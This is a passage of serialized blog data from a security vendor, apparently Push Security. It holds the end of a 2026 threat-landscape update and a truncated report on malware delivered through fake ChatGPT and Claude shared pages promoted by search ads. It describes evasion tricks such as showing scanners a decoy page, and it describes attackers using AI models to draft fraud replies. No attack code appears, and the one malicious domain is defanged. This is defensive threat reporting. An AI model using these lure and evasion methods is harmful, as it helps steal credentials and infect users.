attacks",{"data":3906,"content":3907,"nodeType":670},{},[3908,3912,3919],{"data":3909,"marks":3910,"value":3911,"nodeType":503},{},[],"The OAuth supply chain dimension has also continued to produce confirmed victims. The ",{"data":3913,"content":3914,"nodeType":795},{"uri":3249},[3915],{"data":3916,"marks":3917,"value":3918,"nodeType":503},{},[],"Salesloft\u002FDrift supply chain attack",{"data":3920,"marks":3921,"value":3922,"nodeType":503},{},[]," in 2025 set the template: compromise one SaaS vendor, steal OAuth tokens, access 700+ downstream customer Salesforce environments.",{"data":3924,"content":3925,"nodeType":670},{},[3926,3930,3938,3942,3950,3954,3962],{"data":3927,"marks":3928,"value":3929,"nodeType":503},{},[],"In 2026, the ",{"data":3931,"content":3933,"nodeType":795},{"uri":3932},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fvimeo-data-breach-exposes-personal-information-of-119-000-people\u002F",[3934],{"data":3935,"marks":3936,"value":3937,"nodeType":503},{},[],"Anodot compromise",{"data":3939,"marks":3940,"value":3941,"nodeType":503},{},[]," cascaded through to Vimeo, Rockstar Games, and Zara. The ",{"data":3943,"content":3945,"nodeType":795},{"uri":3944},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Funpacking-the-vercel-breach\u002F",[3946],{"data":3947,"marks":3948,"value":3949,"nodeType":503},{},[],"Context.ai → Vercel",{"data":3951,"marks":3952,"value":3953,"nodeType":503},{},[]," breach followed the same structural pattern. And the ",{"data":3955,"content":3957,"nodeType":795},{"uri":3956},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fklue-oauth-breach-victim-list-grows-as-icarus-hackers-claim-attack\u002F",[3958],{"data":3959,"marks":3960,"value":3961,"nodeType":503},{},[],"Klue\u002FIcarus breach",{"data":3963,"marks":3964,"value":3965,"nodeType":503},{},[]," in June — where attackers pivoted from a legacy credential through stored OAuth tokens to exfiltrate Salesforce data from Huntress, Recorded Future, and Jamf among others — showed that OAuth tokens have become a tried and tested lateral movement vector in SaaS environments.",{"data":3967,"content":3968,"nodeType":730},{},[],{"data":3970,"content":3971,"nodeType":660},{},[3972],{"data":3973,"marks":3974,"value":3976,"nodeType":503},{},[3975],{"type":667},"AI is a force multiplier for attackers",{"data":3978,"content":3979,"nodeType":670},{},[3980],{"data":3981,"marks":3982,"value":3983,"nodeType":503},{},[],"Much of the security industry's AI threat discussion has focused on autonomous offensive AI and novel attack classes like prompt injection. But the place where AI is having the most measurable impact right now is less dramatic and more consequential: it's accelerating how the techniques we've already been tracking get built and operated.",{"data":3985,"content":3986,"nodeType":670},{},[3987],{"data":3988,"marks":3989,"value":3990,"nodeType":503},{},[],"The evidence is visible at every layer of the attack chain. Pretty much every phishing kit we come across in 2026 shows clear signs of vibe coding. For the classic AiTM lure, we used to find heavy obfuscation — attackers used to put a lot of effort into hiding their attacks. But now, they're essentially built to be disposable, and are full of verbose comments and nicely named unobfuscated functions. Why bother hiding when you can just spin up a new one? This is particularly notable when it comes to device code phishing, which owes its massive scale-up this year to vibecoded kits. ",{"data":3992,"content":3993,"nodeType":670},{},[3994,3998,4006],{"data":3995,"marks":3996,"value":3997,"nodeType":503},{},[],"You can see more examples of these kits under the hood in our blog post ",{"data":3999,"content":4001,"nodeType":795},{"uri":4000},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Finside-criminal-phishing-panel",[4002],{"data":4003,"marks":4004,"value":4005,"nodeType":503},{},[],"infiltrating a criminal phishing panel. ",{"data":4007,"marks":4008,"value":21,"nodeType":503},{},[],{"data":4010,"content":4014,"nodeType":714},{"target":4011},{"sys":4012},{"id":4013,"type":719,"linkType":720},"01mOiserRBXraawXwQyJNm",[],{"data":4016,"content":4017,"nodeType":670},{},[4018],{"data":4019,"marks":4020,"value":4021,"nodeType":503},{},[],"Beyond vibe-coded kits, attackers are embedding AI as an integrated operational capability. ",{"data":4023,"content":4024,"nodeType":781},{},[4025,4047,4068,4090,4112],{"data":4026,"content":4027,"nodeType":785},{},[4028],{"data":4029,"content":4030,"nodeType":670},{},[4031,4035,4043],{"data":4032,"marks":4033,"value":4034,"nodeType":503},{},[],"The first major device code phishing kit identified in the wild, EvilTokens, ",{"data":4036,"content":4038,"nodeType":795},{"uri":4037},"https:\u002F\u002Fwww.huntress.com\u002Fblog\u002Frailway-paas-m365-token-replay-campaign",[4039],{"data":4040,"marks":4041,"value":4042,"nodeType":503},{},[],"heavily used Railway",{"data":4044,"marks":4045,"value":4046,"nodeType":503},{},[],", a PaaS built for vibe coding with prompt-based deployment and teardown of infrastructure. EvilTokens itself packaged AI workflows for email filter bypass, lure tailoring, and identifying high-value mailboxes. ",{"data":4048,"content":4049,"nodeType":785},{},[4050],{"data":4051,"content":4052,"nodeType":670},{},[4053,4057,4064],{"data":4054,"marks":4055,"value":4056,"nodeType":503},{},[],"Kali365's E2 edition includes an AI-powered BEC module that ",{"data":4058,"content":4059,"nodeType":795},{"uri":3446},[4060],{"data":4061,"marks":4062,"value":4063,"nodeType":503},{},[],"uses Claude Sonnet",{"data":4065,"marks":4066,"value":4067,"nodeType":503},{},[]," to score intercepted conversations for fraud opportunity and draft contextual wire-transfer redirect replies — not an autonomous attack, but an AI-augmented workflow that makes an existing phishing kit more effective.",{"data":4069,"content":4070,"nodeType":785},{},[4071],{"data":4072,"content":4073,"nodeType":670},{},[4074,4077,4086],{"data":4075,"marks":4076,"value":21,"nodeType":503},{},[],{"data":4078,"content":4080,"nodeType":795},{"uri":4079},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F07\u002Fexposed-server-reveals-ai-assisted.html",[4081],{"data":4082,"marks":4083,"value":4085,"nodeType":503},{},[4084],{"type":803},"Rapid7's analysis of an exposed server",{"data":4087,"marks":4088,"value":4089,"nodeType":503},{},[]," containing a complete phishing toolkit turned up over 1,000 delivery artifacts alongside hardcoded paths to AI coding tools and LLM-style documentation.",{"data":4091,"content":4092,"nodeType":785},{},[4093],{"data":4094,"content":4095,"nodeType":670},{},[4096,4100,4108],{"data":4097,"marks":4098,"value":4099,"nodeType":503},{},[],"Three independent operators were ",{"data":4101,"content":4103,"nodeType":795},{"uri":4102},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F07\u002Fmisconfigured-server-reveals-three.html",[4104],{"data":4105,"marks":4106,"value":4107,"nodeType":503},{},[],"found running kits from public GitHub forks",{"data":4109,"marks":4110,"value":4111,"nodeType":503},{},[]," with minimal, AI-assisted customization: one had been operating for over a year with 218 victims across 12 countries, running infrastructure that would previously have required significantly more technical ability to maintain. ",{"data":4113,"content":4114,"nodeType":785},{},[4115],{"data":4116,"content":4117,"nodeType":670},{},[4118,4122,4130],{"data":4119,"marks":4120,"value":4121,"nodeType":503},{},[],"The tooling itself is starting to embed AI as a product feature — ",{"data":4123,"content":4125,"nodeType":795},{"uri":4124},"https:\u002F\u002Fwww.varonis.com\u002Fblog\u002Fdolphin-x-stealer",[4126],{"data":4127,"marks":4128,"value":4129,"nodeType":503},{},[],"Dolphin X",{"data":4131,"marks":4132,"value":4133,"nodeType":503},{},[],", a new MaaS infostealer targeting 300+ applications across browsers, password managers, cloud CLI tools, and crypto wallets, ships an AI Profiler that scores infected machines by application usage and installed software, then delivers daily ranked summaries so operators can prioritize high-value victims from thousands of infections.",{"data":4135,"content":4136,"nodeType":670},{},[4137,4141,4149,4153,4160,4164,4172],{"data":4138,"marks":4139,"value":4140,"nodeType":503},{},[],"AI adoption itself has also become an attack surface. Users searching for AI desktop applications are already looking to download and install software, and attackers are capitalizing on that behavior: a ",{"data":4142,"content":4144,"nodeType":795},{"uri":4143},"https:\u002F\u002Fwww.huntress.com\u002Fblog\u002Ffakeagent-claude-desktop-malvertising-ends-in-dotnet-rat",[4145],{"data":4146,"marks":4147,"value":4148,"nodeType":503},{},[],"malicious Claude.ai Artifact impersonating a download portal",{"data":4150,"marks":4151,"value":4152,"nodeType":503},{},[]," drew 7,100 visits via Bing search ads and compromised 29 organizations in 48 hours, following the ",{"data":4154,"content":4155,"nodeType":795},{"uri":2430},[4156],{"data":4157,"marks":4158,"value":4159,"nodeType":503},{},[],"LLMShare attack pattern",{"data":4161,"marks":4162,"value":4163,"nodeType":503},{},[]," we documented in May. A second campaign, ",{"data":4165,"content":4167,"nodeType":795},{"uri":4166},"https:\u002F\u002Fwww.huntress.com\u002Fblog\u002Fmacsync-stealer-rat-reverse-engineering",[4168],{"data":4169,"marks":4170,"value":4171,"nodeType":503},{},[],"MacSync",{"data":4173,"marks":4174,"value":4175,"nodeType":503},{},[],", used a claude.ai conversation styled as an installation guide to deliver a macOS infostealer via a ClickFix-adjacent terminal paste, also distributed through Google Ads. In both cases, the AI platform's trusted domain carried the malicious content past URL reputation filters.",{"data":4177,"content":4178,"nodeType":734},{},[4179],{"data":4180,"marks":4181,"value":4183,"nodeType":503},{},[4182],{"type":667},"But the core techniques aren't changing",{"data":4185,"content":4186,"nodeType":670},{},[4187,4191,4199],{"data":4188,"marks":4189,"value":4190,"nodeType":503},{},[],"AI compresses the bottom layers of the ",{"data":4192,"content":4194,"nodeType":795},{"uri":4193},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fthe-pyramid-of-pain-in-the-ai-era\u002F",[4195],{"data":4196,"marks":4197,"value":4198,"nodeType":503},{},[],"Pyramid of Pain",{"data":4200,"marks":4201,"value":4202,"nodeType":503},{},[]," (unique hashes, domains, IP addresses, host artifacts) by enabling faster domain rotation, cheaper kit development, and rotating payloads, but the technique-level behaviors remain unchanged.",{"data":4204,"content":4205,"nodeType":670},{},[4206],{"data":4207,"marks":4208,"value":4209,"nodeType":503},{},[],"A phishing page still has to harvest credentials. Device code phishing still has to abuse the authorization grant. ClickFix still has to inject a clipboard payload. Those behavioral signatures are structurally resistant to AI-driven variation because changing them means changing how the attack works.",{"data":4211,"content":4212,"nodeType":730},{},[],{"data":4214,"content":4215,"nodeType":660},{},[4216],{"data":4217,"marks":4218,"value":4220,"nodeType":503},{},[4219],{"type":667},"What this means for defenders",{"data":4222,"content":4223,"nodeType":670},{},[4224],{"data":4225,"marks":4226,"value":4227,"nodeType":503},{},[],"Every trend documented here converges on the same control point: the browser. The AI acceleration that makes all of it faster and cheaper doesn't change where the attacks execute, or how Push intercepts them.",{"data":4229,"content":4230,"nodeType":781},{},[4231,4241,4251,4261],{"data":4232,"content":4233,"nodeType":785},{},[4234],{"data":4235,"content":4236,"nodeType":670},{},[4237],{"data":4238,"marks":4239,"value":4240,"nodeType":503},{},[],"For AiTM phishing, Push's behavioral detection analyzes and blocks the phishing page in real time, regardless of which domains or hosting infrastructure the kit uses on any given day.",{"data":4242,"content":4243,"nodeType":785},{},[4244],{"data":4245,"content":4246,"nodeType":670},{},[4247],{"data":4248,"marks":4249,"value":4250,"nodeType":503},{},[],"For device code phishing, Push detects both the phishing pages associated with device code kits and provides an additional layer on the legitimate device code authentication pages themselves, so users cannot enter attacker-supplied codes.",{"data":4252,"content":4253,"nodeType":785},{},[4254],{"data":4255,"content":4256,"nodeType":670},{},[4257],{"data":4258,"marks":4259,"value":4260,"nodeType":503},{},[],"For ClickFix, Push detects the clipboard injection at the moment the malicious payload is written.",{"data":4262,"content":4263,"nodeType":785},{},[4264],{"data":4265,"content":4266,"nodeType":670},{},[4267],{"data":4268,"marks":4269,"value":4270,"nodeType":503},{},[],"For OAuth supply chain attacks, Push monitors and controls consent flows at the browser layer, so security teams can govern which applications obtain tokens in the first place.",{"data":4272,"content":4273,"nodeType":670},{},[4274],{"data":4275,"marks":4276,"value":4277,"nodeType":503},{},[],"As AI enables more kits, more operators, and faster infrastructure rotation, indicator-based defenses that target domains, IPs, and hashes become less effective by the day. Behavioral detection that targets technique-class signatures (what the attack does) is the approach that scales.",{"data":4279,"content":4280,"nodeType":730},{},[],{"data":4282,"content":4283,"nodeType":670},{},[4284],{"data":4285,"marks":4286,"value":2967,"nodeType":503},{},[],{"data":4288,"content":4289,"nodeType":670},{},[4290],{"data":4291,"marks":4292,"value":2974,"nodeType":503},{},[],{"data":4294,"content":4295,"nodeType":670},{},[4296,4299,4308],{"data":4297,"marks":4298,"value":21,"nodeType":503},{},[],{"data":4300,"content":4302,"nodeType":795},{"uri":4301},"https:\u002F\u002Fpushsecurity.com\u002Fdemo\u002F",[4303],{"data":4304,"marks":4305,"value":4307,"nodeType":503},{},[4306],{"type":803},"Book a live demo to learn more.",{"data":4309,"marks":4310,"value":21,"nodeType":503},{},[],"Browser threat landscape: mid-year update 2026","PhaaS industrialization, Scattered Spider copycats, and AI-augmented tooling — what the threat landscape looks like in 2026 so far.","2026-08-10T00:00:00.000Z","browser-threat-landscape-mid-year-update-2026",{"items":4316},[4317,4319],{"sys":4318,"name":3005},{"id":3004},{"sys":4320,"name":3009},{"id":3008},{"items":4322},[4323],{"fullName":647,"firstName":648,"jobTitle":649,"profilePicture":4324},{"url":653},{"__typename":2126,"sys":4326,"content":4328,"title":5117,"synopsis":5118,"hashTags":60,"publishedDate":5119,"slug":5120,"tagsCollection":5121,"authorsCollection":5127},{"id":4327},"Gcg7PGuICrlRcqq1QFXxH",{"json":4329},{"data":4330,"content":4331,"nodeType":656},{},[4332,4339,4346,4377,4384,4390,4396,4408,4411,4419,4435,4442,4448,4455,4462,4468,4471,4479,4486,4492,4498,4505,4512,4530,4536,4539,4547,4565,4571,4578,4581,4589,4596,4603,4609,4615,4659,4666,4669,4677,4684,4691,4734,4741,4772,4779,4822,4829,4832,4840,4859,4866,4874,4890,4897,4916,4923,4926,4932,4938,4954,4957,4965,4984,4991,5111],{"data":4333,"content":4334,"nodeType":670},{},[4335],{"data":4336,"marks":4337,"value":4338,"nodeType":503},{},[],"Shared conversations on AI chatbot platforms have become the latest delivery mechanism for malware campaigns targeting macOS and Windows users. Attackers create content on platforms like ChatGPT and Claude that appears to offer installation guidance or service updates, then drive traffic to it via search engine results in the form of malvertising and SEO poisoning.  ",{"data":4340,"content":4341,"nodeType":670},{},[4342],{"data":4343,"marks":4344,"value":4345,"nodeType":503},{},[],"The content lives on chatgpt.com or claude.ai — domains that users and security tools trust implicitly — so the attack bypasses URL reputation checks before the victim even reaches the malicious payload.",{"data":4347,"content":4348,"nodeType":670},{},[4349,4353,4361,4365,4373],{"data":4350,"marks":4351,"value":4352,"nodeType":503},{},[],"Several variants of this technique have been ",{"data":4354,"content":4356,"nodeType":795},{"uri":4355},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fhackers-abuse-google-ads-claudeai-chats-to-push-mac-malware\u002F",[4357],{"data":4358,"marks":4359,"value":4360,"nodeType":503},{},[],"reported over the past few months",{"data":4362,"marks":4363,"value":4364,"nodeType":503},{},[],". The earliest examples used shared Claude.ai conversations disguised as installation guides — complete with fake \"Apple Support\" attribution — that walked users through opening a terminal and pasting a curl command that downloaded and executed an infostealer. ",{"data":4366,"content":4368,"nodeType":795},{"uri":4367},"https:\u002F\u002Fwww.kaspersky.com\u002Fblog\u002Fshare-chatgpt-chat-clickfix-macos-amos-infostealer\u002F54928\u002F",[4369],{"data":4370,"marks":4371,"value":4372,"nodeType":503},{},[],"Kaspersky documented a parallel campaign",{"data":4374,"marks":4375,"value":4376,"nodeType":503},{},[]," using shared ChatGPT conversations to deliver the AMOS (Atomic macOS Stealer) via the same paste-this-command social engineering pattern. ",{"data":4378,"content":4379,"nodeType":670},{},[4380],{"data":4381,"marks":4382,"value":4383,"nodeType":503},{},[],"Push has detected a new variant that goes beyond the previously reported technique of embedding terminal commands in shared conversations: the attacker has used ChatGPT's code rendering feature to build a fully designed fake page that mimics a ChatGPT service disruption, redirecting victims to a convincing clone of ChatGPT's download page that delivers a malicious executable. ",{"data":4385,"content":4389,"nodeType":714},{"target":4386},{"sys":4387},{"id":4388,"type":719,"linkType":720},"5lz9zt223pecGvdaqdvSTQ",[],{"data":4391,"content":4395,"nodeType":714},{"target":4392},{"sys":4393},{"id":4394,"type":719,"linkType":720},"51GomAj3VOjnbmgd1DWYu0",[],{"data":4397,"content":4398,"nodeType":670},{},[4399,4404],{"data":4400,"marks":4401,"value":4403,"nodeType":503},{},[4402],{"type":667},"This is a live campaign which is still generating detections across our customer base at the time of writing. ",{"data":4405,"marks":4406,"value":4407,"nodeType":503},{},[],"Push customers are already protected and do not need to take further action. The malicious page URLs can be found at the end of this report but are not exhaustive and are liable to change. ",{"data":4409,"content":4410,"nodeType":730},{},[],{"data":4412,"content":4413,"nodeType":660},{},[4414],{"data":4415,"marks":4416,"value":4418,"nodeType":503},{},[4417],{"type":667},"A fake page, not a fake conversation",{"data":4420,"content":4421,"nodeType":670},{},[4422,4426,4431],{"data":4423,"marks":4424,"value":4425,"nodeType":503},{},[],"Previously reported variants relied on shared ",{"data":4427,"marks":4428,"value":4430,"nodeType":503},{},[4429],{"type":2144},"conversations",{"data":4432,"marks":4433,"value":4434,"nodeType":503},{},[]," — the attacker created a chat that contained step-by-step instructions for the victim to follow, typically involving pasting a command into their terminal. The social engineering was conversational: the \"AI assistant\" appeared to be helpfully guiding the user through an installation process.",{"data":4436,"content":4437,"nodeType":670},{},[4438],{"data":4439,"marks":4440,"value":4441,"nodeType":503},{},[],"But now, rather than a shared conversation, the attacker has used ChatGPT's code rendering feature to create a fully designed, self-contained web page hosted at a chatgpt.com\u002Fs\u002F URL. It renders as what appears to be a ChatGPT service disruption notice:",{"data":4443,"content":4447,"nodeType":714},{"target":4444},{"sys":4445},{"id":4446,"type":719,"linkType":720},"1O9gyQab81SnbxhQp2aa5Z",[],{"data":4449,"content":4450,"nodeType":670},{},[4451],{"data":4452,"marks":4453,"value":4454,"nodeType":503},{},[],"A professional-looking error message reads: \"We're experiencing high traffic right now. Our website is temporarily unavailable due to a large number of users. Download our desktop app to continue.\" A prominent download button sits below.",{"data":4456,"content":4457,"nodeType":670},{},[4458],{"data":4459,"marks":4460,"value":4461,"nodeType":503},{},[],"The \"Show code\" toggle at the top of the page reveals what's actually happening — the entire thing is custom HTML and CSS, authored to mimic a ChatGPT system notice, rendered using ChatGPT's code output feature. A web page inside a web page, hosted on a domain that every URL reputation system in the world considers safe.",{"data":4463,"content":4467,"nodeType":714},{"target":4464},{"sys":4465},{"id":4466,"type":719,"linkType":720},"4kQTfxB3aVH9W9BeYOuljP",[],{"data":4469,"content":4470,"nodeType":730},{},[],{"data":4472,"content":4473,"nodeType":660},{},[4474],{"data":4475,"marks":4476,"value":4478,"nodeType":503},{},[4477],{"type":667},"The download page",{"data":4480,"content":4481,"nodeType":670},{},[4482],{"data":4483,"marks":4484,"value":4485,"nodeType":503},{},[],"Clicking the download button redirects the user to openew[.]app, which presents a convincing clone of ChatGPT's official desktop application download page — complete with OpenAI branding, macOS and Windows download buttons, a Chrome extension link, and a mobile download section.",{"data":4487,"content":4491,"nodeType":714},{"target":4488},{"sys":4489},{"id":4490,"type":719,"linkType":720},"4MdFc4OB37ZihTGx506QJ6",[],{"data":4493,"content":4497,"nodeType":714},{"target":4494},{"sys":4495},{"id":4496,"type":719,"linkType":720},"LaPUy0zpIeY8s4PF2wkat",[],{"data":4499,"content":4500,"nodeType":670},{},[4501],{"data":4502,"marks":4503,"value":4504,"nodeType":503},{},[],"The site also displays differently depending on who visits it. When Push researchers examined the URL via URLScan, the scanner was redirected to a different page entirely — a generic AR\u002FVR company website with no obvious connection to ChatGPT. ",{"data":4506,"content":4507,"nodeType":670},{},[4508],{"data":4509,"marks":4510,"value":4511,"nodeType":503},{},[],"Real users in a browser see the fake download page; automated scanners and bots see something benign. This kind of conditional rendering is a well-established evasion technique in the malvertising ecosystem, and it makes the malicious infrastructure harder for security teams and threat intelligence services to identify and analyze.",{"data":4513,"content":4514,"nodeType":670},{},[4515,4519,4527],{"data":4516,"marks":4517,"value":4518,"nodeType":503},{},[],"The downloaded executable poses as \"ChatGPT for Desktop\" and is ",{"data":4520,"content":4522,"nodeType":795},{"uri":4521},"https:\u002F\u002Fwww.virustotal.com\u002Fgui\u002Ffile\u002Fde8c50e8ccd240ef9d10ec26c26eeb37a4d1cad7c1e0edf3bb6e5689ec2dde78",[4523],{"data":4524,"marks":4525,"value":4526,"nodeType":503},{},[],"flagged on VirusTotal",{"data":4528,"marks":4529,"value":2577,"nodeType":503},{},[],{"data":4531,"content":4535,"nodeType":714},{"target":4532},{"sys":4533},{"id":4534,"type":719,"linkType":720},"3FSbwoFJYQrcyo9uMsQIWI",[],{"data":4537,"content":4538,"nodeType":730},{},[],{"data":4540,"content":4541,"nodeType":660},{},[4542],{"data":4543,"marks":4544,"value":4546,"nodeType":503},{},[4545],{"type":667},"The Claude variant: same campaign, different platform",{"data":4548,"content":4549,"nodeType":670},{},[4550,4554,4561],{"data":4551,"marks":4552,"value":4553,"nodeType":503},{},[],"Alongside the ChatGPT rendered-page variant, Push has also detected the previously reported style of attack using shared Claude.ai conversations. These follow the pattern documented by ",{"data":4555,"content":4556,"nodeType":795},{"uri":4355},[4557],{"data":4558,"marks":4559,"value":4560,"nodeType":503},{},[],"BleepingComputer",{"data":4562,"marks":4563,"value":4564,"nodeType":503},{},[],": a shared chat disguised as a \"Claude Code on Mac\" installation guide, attributed to \"Apple Support,\" containing a curl command that downloads and executes malware.",{"data":4566,"content":4570,"nodeType":714},{"target":4567},{"sys":4568},{"id":4569,"type":719,"linkType":720},"5sWayuTsVdiLSLoS4sv2Vc",[],{"data":4572,"content":4573,"nodeType":670},{},[4574],{"data":4575,"marks":4576,"value":4577,"nodeType":503},{},[],"The fact that both the ChatGPT and Claude variants are appearing in Push customer environments suggests a campaign — or at least a shared playbook — that is actively experimenting with different platforms and different social engineering approaches to find what converts best.",{"data":4579,"content":4580,"nodeType":730},{},[],{"data":4582,"content":4583,"nodeType":660},{},[4584],{"data":4585,"marks":4586,"value":4588,"nodeType":503},{},[4587],{"type":667},"Malvertising remains one of the top phishing delivery channels",{"data":4590,"content":4591,"nodeType":670},{},[4592],{"data":4593,"marks":4594,"value":4595,"nodeType":503},{},[],"Push has detected this variant across multiple customer environments, with users arriving at these shared chat URLs after searching for terms including \"chatgpt,\" \"chatgpt free,\" \"chat gpt,\" and common typos like \"chatgo,\" \"chatgot,\" and \"cvhatgpt.\" ",{"data":4597,"content":4598,"nodeType":670},{},[4599],{"data":4600,"marks":4601,"value":4602,"nodeType":503},{},[],"You can see an example of this below: it's incredibly convincing, and uses the real ChatGPT domain — so even users that are paying attention are liable to fall for it. ",{"data":4604,"content":4608,"nodeType":714},{"target":4605},{"sys":4606},{"id":4607,"type":719,"linkType":720},"1GYWOyHpZT1rdTm6IGOKu8",[],{"data":4610,"content":4614,"nodeType":714},{"target":4611},{"sys":4612},{"id":4613,"type":719,"linkType":720},"4HpFJRAZH2lbygaEk2xOnN",[],{"data":4616,"content":4617,"nodeType":670},{},[4618,4622,4630,4634,4642,4646,4655],{"data":4619,"marks":4620,"value":4621,"nodeType":503},{},[],"This fits a pattern Push has tracked extensively. ",{"data":4623,"content":4625,"nodeType":795},{"uri":4624},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fverizon-dbir-2026-review\u002F",[4626],{"data":4627,"marks":4628,"value":4629,"nodeType":503},{},[],"Search-based delivery is now the dominant channel for malware distribution",{"data":4631,"marks":4632,"value":4633,"nodeType":503},{},[]," — our own data shows that ClickFix attacks are reached via search results rather than email in 4 of 5 cases, and Push's own research into ",{"data":4635,"content":4637,"nodeType":795},{"uri":4636},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fanalysing-a-sophisticated-google-malvertising-attack\u002F",[4638],{"data":4639,"marks":4640,"value":4641,"nodeType":503},{},[],"malvertising campaigns impersonating brands like TradingView",{"data":4643,"marks":4644,"value":4645,"nodeType":503},{},[]," and ",{"data":4647,"content":4649,"nodeType":795},{"uri":4648},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fgoogle-search-malvertising-campaign-continues-now-impersonating-ahrefs\u002F",[4650],{"data":4651,"marks":4652,"value":4654,"nodeType":503},{},[4653],{"type":803},"Ahrefs",{"data":4656,"marks":4657,"value":4658,"nodeType":503},{},[]," has demonstrated how effectively search ads can funnel victims to malicious pages. ",{"data":4660,"content":4661,"nodeType":670},{},[4662],{"data":4663,"marks":4664,"value":4665,"nodeType":503},{},[],"The shared-chat technique adds a new dimension: the destination URL itself is genuine (chatgpt.com, claude.ai), which means even a cautious user who checks the URL before clicking will see nothing suspicious.",{"data":4667,"content":4668,"nodeType":730},{},[],{"data":4670,"content":4671,"nodeType":660},{},[4672],{"data":4673,"marks":4674,"value":4676,"nodeType":503},{},[4675],{"type":667},"Legitimate platform abuse is everywhere",{"data":4678,"content":4679,"nodeType":670},{},[4680],{"data":4681,"marks":4682,"value":4683,"nodeType":503},{},[],"This is one example of a much broader pattern that has become one of the defining characteristics of the 2026 threat landscape: attackers systematically abusing legitimate platforms as attack infrastructure. The scale and variety of this abuse in recent months alone is striking, and it spans every stage of the phishing chain.",{"data":4685,"content":4686,"nodeType":734},{},[4687],{"data":4688,"marks":4689,"value":4690,"nodeType":503},{},[],"Legit platform abuse for delivery",{"data":4692,"content":4693,"nodeType":670},{},[4694,4698,4706,4710,4718,4722,4730],{"data":4695,"marks":4696,"value":4697,"nodeType":503},{},[],"On the delivery side, attackers have been ",{"data":4699,"content":4701,"nodeType":795},{"uri":4700},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Famazon-ses-increasingly-abused-in-phishing-to-evade-detection\u002F",[4702],{"data":4703,"marks":4704,"value":4705,"nodeType":503},{},[],"weaponizing stolen AWS credentials to send phishing through Amazon SES",{"data":4707,"marks":4708,"value":4709,"nodeType":503},{},[]," that passes SPF, DKIM, and DMARC validation because SES is a legitimate Amazon service. A Vietnamese operation dubbed ",{"data":4711,"content":4713,"nodeType":795},{"uri":4712},"https:\u002F\u002Fthehackernews.com\u002F2026\u002F05\u002F30000-facebook-accounts-hacked-via.html",[4714],{"data":4715,"marks":4716,"value":4717,"nodeType":503},{},[],"AccountDumpling used Google AppSheet's built-in email capability",{"data":4719,"marks":4720,"value":4721,"nodeType":503},{},[]," as a phishing relay to harvest 30,000 Facebook credentials. ",{"data":4723,"content":4725,"nodeType":795},{"uri":4724},"https:\u002F\u002Ftechcrunch.com\u002F2026\u002F05\u002F21\u002Fscammers-are-abusing-an-internal-microsoft-account-to-send-spam\u002F",[4726],{"data":4727,"marks":4728,"value":4729,"nodeType":503},{},[],"Scammers exploited Microsoft's own internal notification pipeline",{"data":4731,"marks":4732,"value":4733,"nodeType":503},{},[]," — sending phishing from the same msonlineservicesteam@microsoftonline.com address that delivers legitimate 2FA codes — with Spamhaus confirming months of ongoing abuse.",{"data":4735,"content":4736,"nodeType":734},{},[4737],{"data":4738,"marks":4739,"value":4740,"nodeType":503},{},[],"Legit platform abuse for hosting",{"data":4742,"content":4743,"nodeType":670},{},[4744,4748,4756,4760,4768],{"data":4745,"marks":4746,"value":4747,"nodeType":503},{},[],"For hosting, the platforms being abused read like a who's who of modern web infrastructure. ",{"data":4749,"content":4751,"nodeType":795},{"uri":4750},"https:\u002F\u002Fwww.securityweek.com\u002Fover-500-organizations-hit-in-years-long-phishing-campaign\u002F",[4752],{"data":4753,"marks":4754,"value":4755,"nodeType":503},{},[],"Operation HookedWing ran for four years",{"data":4757,"marks":4758,"value":4759,"nodeType":503},{},[]," on GitHub Pages and Vercel, compromising 500+ organizations across more than 100 GitHub Pages domains before anyone documented it publicly. Cofense has separately ",{"data":4761,"content":4763,"nodeType":795},{"uri":4762},"https:\u002F\u002Fcofense.com\u002Fblog\u002Fsteal-smarter-not-harder-malicious-use-of-vercel-for-credential-phishing\u002F",[4764],{"data":4765,"marks":4766,"value":4767,"nodeType":503},{},[],"documented the growing abuse of Vercel",{"data":4769,"marks":4770,"value":4771,"nodeType":503},{},[]," for credential phishing hosting. Pixm's Q1 2026 phishing report tracked over 100 unique Azure Blob Storage subdomain variants hosting phishing content that carried Microsoft's own domain reputation, alongside abuse of Cloudflare CDN, Cloudflare Workers, Cloudflare R2, Backblaze B2, and Supabase. ",{"data":4773,"content":4774,"nodeType":734},{},[4775],{"data":4776,"marks":4777,"value":4778,"nodeType":503},{},[],"Abuse of compromised websites that are otherwise legit",{"data":4780,"content":4781,"nodeType":670},{},[4782,4786,4794,4798,4806,4810,4818],{"data":4783,"marks":4784,"value":4785,"nodeType":503},{},[],"Compromised legitimate sites are also being repurposed at scale. A mass exploitation of a ",{"data":4787,"content":4789,"nodeType":795},{"uri":4788},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fghost-cms-sql-injection-flaw-exploited-in-large-scale-clickfix-campaign\u002F",[4790],{"data":4791,"marks":4792,"value":4793,"nodeType":503},{},[],"Ghost CMS vulnerability planted ClickFix pages across 700+ websites",{"data":4795,"marks":4796,"value":4797,"nodeType":503},{},[]," including Harvard, Oxford, and DuckDuckGo subdomains. Microsoft recently documented a campaign where ",{"data":4799,"content":4801,"nodeType":795},{"uri":4800},"https:\u002F\u002Fwww.microsoft.com\u002Fen-us\u002Fsecurity\u002Fblog\u002F2026\u002F05\u002F26\u002Fpoisoned-search-results-gpu-mining-cryptojacking-campaign-abusing-screenconnect-microsoft-net-utilities\u002F",[4802],{"data":4803,"marks":4804,"value":4805,"nodeType":503},{},[],"SEO poisoning was combined with AI chatbot recommendation manipulation",{"data":4807,"marks":4808,"value":4809,"nodeType":503},{},[]," to deliver GPU mining malware — extending the poisoning from traditional search results into AI-generated software recommendations. And 